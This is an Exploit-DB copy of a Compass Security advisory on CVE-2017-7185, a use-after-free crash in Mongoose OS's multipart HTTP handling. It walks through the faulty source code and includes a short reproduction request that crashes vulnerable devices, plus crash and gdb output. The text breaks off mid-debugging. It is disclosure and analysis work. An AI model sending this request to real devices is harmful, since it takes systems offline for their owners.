Exploit-DB #41826
Description: Cesanta Mongoose OS - Use-After-Free
Type: dos
Platform: hardware
Date: 2017-04-06
Author: Compass Security

Exploit:
#############################################################
#
# COMPASS SECURITY ADVISORY
# https://www.compass-security.com/en/research/advisories/
#
#############################################################
#
# Product: Mongoose OS
# Vendor: Cesanta
# CVE ID: CVE-2017-7185
# CSNC ID: CSNC-2017-003
# Subject: Use-after-free / Denial of Service
# Risk: Medium
# Effect: Remotely exploitable
# Authors:
# Philipp Promeuschel <philipp.promeuschel@compass-security.com>
# Carel van Rooyen <carel.vanrooyen@compass-security.com>
# Stephan Sekula <stephan.sekula@compass-security.com>
# Date: 2017-04-03
#
#############################################################
 
Introduction:
-------------
Cesanta's Mongoose OS [1] - an open source operating system for the Internet of Things. Supported micro controllers:
* ESP32
* ESP8266
* STM32
* TI CC3200
 
Additionally, Amazon AWS IoT is integrated for Cloud connectivity. Developers can write applications in C or JavaScript (the latter by using the v7 component of Mongoose OS).
 
Affected versions:
---------
Vulnerable:
 * <= Release 1.2
Not vulnerable:
 * Patched in current dev / master branch
Not tested:
 * N/A
 
Technical Description
---------------------
The handling of HTTP-Multipart boundary [3] headers does not properly close connections when malformed requests are sent to the Mongoose server.
This leads to a use-after-free/null-pointer-de-reference vulnerability, causing the Mongoose HTTP server to crash. As a result, the entire system is rendered unusable.
 
 
The mg_parse_multipart [2] function performs proper checks for empty boundaries, but, since the flag "MG_F_CLOSE_IMMEDIATELY" does not have any effect, mg_http_multipart_continue() is called:
--------------->8---------------
void mg_http_handler(struct mg_connection *nc, int ev, void *ev_data) {
[CUT BY COMPASS]
 #if MG_ENABLE_HTTP_STREAMING_MULTIPART
     if (req_len > 0 && (s = mg_get_http_header(hm, "Content-Type")) != NULL &&
         s->len >= 9 && strncmp(s->p, "multipart", 9) == 0) {
      mg_http_multipart_begin(nc, hm, req_len); // properly checks for empty boundary
      // however, the socket is not closed, and mg_http_multipart_continue() is executed
      mg_http_multipart_continue(nc);
      return;
}
---------------8<---------------
In the mg_http_multipart_begin function, the boundary is correctly verified:
--------------->8---------------
  boundary_len =
      mg_http_parse_header(ct, "boundary", boundary, sizeof(boundary));
 
  if (boundary_len == 0) {
    /*
     * Content type is multipart, but there is no boundary,
     * probably malformed request
     */
    nc->flags = MG_F_CLOSE_IMMEDIATELY;
    DBG(("invalid request"));
    goto exit_mp;
  }
---------------8<---------------
However, the socket is not closed (even though the flag "MG_F_CLOSE_IMMEDIATELY" has been set), and mg_http_multipart_continue is executed.
In mg_http_multipart_continue(), the method mg_http_multipart_wait_for_boundary() is executed:
---------------8<---------------
static void mg_http_multipart_continue(struct mg_connection *c) {
  struct mg_http_proto_data *pd = mg_http_get_proto_data(c);
  while (1) {
    switch (pd->mp_stream.state) {
      case MPS_BEGIN: {
        pd->mp_stream.state = MPS_WAITING_FOR_BOUNDARY;
        break;
      }
      case MPS_WAITING_FOR_BOUNDARY: {
        if (mg_http_multipart_wait_for_boundary(c) == 0) {
          return;
        }
        break;
      }
--------------->8---------------
Then, mg_http_multipart_wait_for_boundary() tries to identify the boundary-string. However, this string has never been initialized, which causes c_strnstr to crash.
---------------8<---------------
static int mg_http_multipart_wait_for_boundary(struct mg_connection *c) {
  const char *boundary;
  struct mbuf *io = &c->recv_mbuf;
  struct mg_http_proto_data *pd = mg_http_get_proto_data(c);
 
  if ((int) io->len < pd->mp_stream.boundary_len + 2) {
    return 0;
  }
 
  boundary = c_strnstr(io->buf, pd->mp_stream.boundary, io->len);
  if (boundary != NULL) {
[CUT BY COMPASS]
--------------->8---------------
 
 
Steps to reproduce
-----------------
Request to HTTP server (code running on hardware device):
---------------8<---------------
POST / HTTP/1.1
Connection: keep-alive
Content-Type: multipart/form-data;
Content-Length: 1
1
--------------->8---------------
The above request results in a stack trace on the mongoose console:
---------------8<---------------
Guru Meditation Error of type LoadProhibited occurred on core  0. Exception was unhandled.
Register dump:
PC      : 0x400014fd  PS      : 0x00060330  A0      : 0x801114b4  A1      : 0x3ffbfcf0 
A2      : 0x00000000  A3      : 0xfffffffc  A4      : 0x000000ff  A5      : 0x0000ff00 
A6      : 0x00ff0000  A7      : 0xff000000  A8      : 0x00000000  A9      : 0x00000085 
A10     : 0xcccccccc  A11     : 0x0ccccccc  A12     : 0x00000001  A13     : 0x00000000 
A14     : 0x00000037  A15     : 0x3ffbb3cc  SAR     : 0x0000000f  EXCCAUSE: 0x0000001c 
EXCVADDR: 0x00000000  LBEG    : 0x400014fd  LEND    : 0x4000150d  LCOUNT  : 0xffffffff 
 
Backtrace: 0x400014fd:0x3ffbfcf0 0x401114b4:0x3ffbfd00 0x401136cc:0x3ffbfd30 0x401149ac:0x3ffbfe30 0x40114b71:0x3ffbff00 0x40112b80:0x3ffc00a0 0x40112dc6:0x3ffc00d0 0x40113295:0x3ffc0100 0x4011361a:0x3ffc0170 0x40111716:0x3ffc01d0 0x40103b8f:0x3ffc01f0 0x40105099:0x3ffc0210
--------------->8---------------
 
 
Further debugging shows that an uninitialized string has indeed been passed to c_strnstr:
---------------8<---------------
(gdb) info symbol 0x401114b4
c_strnstr + 12 in section .flash.text
(gdb) list *0x401114b4
0x401114b4 is in c_strnstr (/mongoose-os/mongoose/mongoose.c:1720).
warning: Source file is more recent than executable.
1715    }
1716    #endif /* _WIN32 */
1717   
1718    /* The simplest O(mn) algorithm. Better implementation are GPLed